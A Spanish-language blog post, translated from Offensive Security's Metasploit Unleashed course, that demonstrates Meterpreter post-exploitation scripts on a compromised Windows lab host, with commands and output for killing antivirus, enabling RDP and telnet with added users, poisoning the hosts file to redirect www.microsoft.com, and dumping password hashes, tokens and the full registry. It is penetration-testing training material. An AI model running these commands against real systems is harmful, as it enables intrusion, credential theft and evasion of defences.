miércoles, 5 de mayo de 2010

Secuencias de comandos existentes Meterpreter

Secuencias de comandos existentes Meterpreter

Metasploit viene con variadas secuencias de comandos útiles que pueden ayudar en el Metasploit Framework. Estos scripts son normalmente realizadas por terceros y, finalmente, aprobada en el repositorio de subversión. Vamos a recorrer algunos de ellos y caminando a través de ellos para ver cómo los puede utilizar en su propia prueba de penetración.

Los scripts se mencionan a continuación están destinados a ser utilizados con una sesion Meterpreter después del comprometimiento con éxito de un objetivo. Una vez que usted ha ganado una sesión con el objetivo de poder utilizar estas secuencias de comandos que mejor se adapte a sus necesidades.

El script 'checkvm', como su nombre indica muestra si usted esta trabajando con una Maquina virtual. Esta información puede ser muy útil.

meterpreter > run checkvm 

[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine

Los controles del script 'getcountermeasure' muetra la configuración de seguridad en el sistema que se puede deshabilitar a las víctimas y otras medidas de seguridad tales como A / V, Firewall, y mucho más:

meterpreter > run getcountermeasure

[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Local Area Connection 6 firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*]
[*] Checking DEP Support Policy...

El script 'getgui' se utiliza para habilitar RDP en un sistema de destino si está deshabilitado. (Es usado para conexiones remotas, escritorio remoto)

meterpreter > run getgui

Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p


OPTIONS:

-e Enable RDP only.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.

meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary

El script 'gettelnet' se utiliza para habilitar telnet a la víctima si está deshabilitado.

meterpreter > run gettelnet

Windows Telnet Server Enabler Meterpreter Script
Usage: gettelnet -u -p


OPTIONS:

-e Enable Telnet Server only.
-h Help menu.
-p The Password of the user to add.
-u The Username of the user to add.

meterpreter > run gettelnet -e

[*] Windows Telnet Server Enabler Meterpreter Script
[*] Setting Telnet Server Services service startup mode
[*] The Telnet Server Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary

El script 'KillAV' se puede utilizar para deshabilitar los programas antivirus más ejecuta como un servicio en un objetivo.

meterpreter > run killav

[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

El script 'get_local_subnets'se utiliza para obtener la máscara de subred local de una víctima. Esto puede ser muy útil la información a tener para girar.

 meterpreter > run get_local_subnets

Local subnet: 10.211.55.0/255.255.255.0

La secuencia de comandos 'hostsedit' Meterpreter es para agregar las entradas a los anfitriones de archivos de Windows. Puesto que Windows comprobará el archivo de hosts primero en lugar del servidor DNS configurado, también contribuirá a desviar el tráfico a una entrada o entradas falsas. Cualquiera de una sola entrada se puede proporcionar o una serie de entradas se puede proporcionar un archivo que contiene una entrada por línea.

meterpreter > run hostsedit

OPTIONS:

-e Host entry in the format of IP,Hostname.
-h Help Options.
-l Text file with list of entries in the format of IP,Hostname. One per line.

Example:

run hostsedit -e 127.0.0.1,google.com
run hostsedit -l /tmp/fakednsentries.txt

meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com
[*] Making Backup of the hosts file.
[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back
[*] Adding Record for Host www.microsoft.com with IP 10.211.55.162
[*] Clearing the DNS Cache

La secuencia de comandos 'remotewinenum' van a enumerar la información del sistema a través de wmic víctima. Tome nota que estos sucesos son almacenados, quizas nos toque borrar huellas lluego despues de usar este script.

meterpreter > run remotewinenum

Remote Windows Enumeration Meterpreter Script
This script will enumerate windows hosts in the target environment
given a username and password or using the credential under witch
Meterpreter is running using WMI wmic windows native tool.
Usage:

OPTIONS:

-h Help menu.
-p Password of user on target system
-t The target address
-u User on the target system (If not provided it will use credential of process)

meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128

[*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142
[*] Running WMIC Commands ....
[*] running command wimic environment list
[*] running command wimic share list
[*] running command wimic nicconfig list
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group list
[*] running command wimic sysaccount list
[*] running command wimic volume list brief
[*] running command wimic logicaldisk get description,filesystem,name,size
[*] running command wimic netlogin get name,lastlogon,badpasswordcount
[*] running command wimic netclient list brief
[*] running command wimic netuse get name,username,connectiontype,localname
[*] running command wimic share get name,path
[*] running command wimic nteventlog get path,filename,writeable
[*] running command wimic service list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic rdtoggle list
[*] running command wimic product get name,version
[*] running command wimic qfe list

El script 'winenum' hace de una herramienta muy detallada enumeración de las ventanas. Volcado de ficheros, hashes y mucho más.


meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 10.211.55.128:4444...
[*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command arp -a
[*] running command ipconfig /all
[*] running command ipconfig /displaydns
[*] running command route print
[*] running command net view
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command netstat -ns
[*] running command net accounts
[*] running command net accounts /domain
[*] running command net session
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net localgroup administrators
[*] running command net group administrators
[*] running command net view /domain
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] running command tasklist /m
[*] running command gpresult /SCOPE COMPUTER /Z
[*] running command gpresult /SCOPE USER /Z
[*] Running WMIC Commands ....
[*] running command wmic computersystem list brief
[*] running command wmic useraccount list
[*] running command wmic group list
[*] running command wmic service list brief
[*] running command wmic volume list brief
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic netclient list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic share get name,path
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic process list brief
[*] running command wmic startup list full
[*] running command wmic rdtoggle list
[*] running command wmic product get name,version
[*] running command wmic qfe
[*] Extracting software list from registry
[*] Finished Extraction of software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!

El script 'scraper' puede mostrar información del sistema mas profundamente, incluyendo todo el Registro. Los resultados de este comando se guardan en /root/.msf3/logs/scraper/10.211.55.128:4444...

meterpreter > run scraper

[*] New session on 10.211.55.128:4444...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg)


De los ejemplos de arriba podemos ver que hay varios script "secuencias de comandos" Meterpreter que nosotro podemos utilizar para enumerar mucha información, desactivar el nosotros el anti-virus, habilitar RDP, y mucho mucho más ..


© Offensive Security 2009

Original by www.offensive-security.com/metasploit-unleashed/
Traslated by tundervirld

No hay comentarios:

Publicar un comentario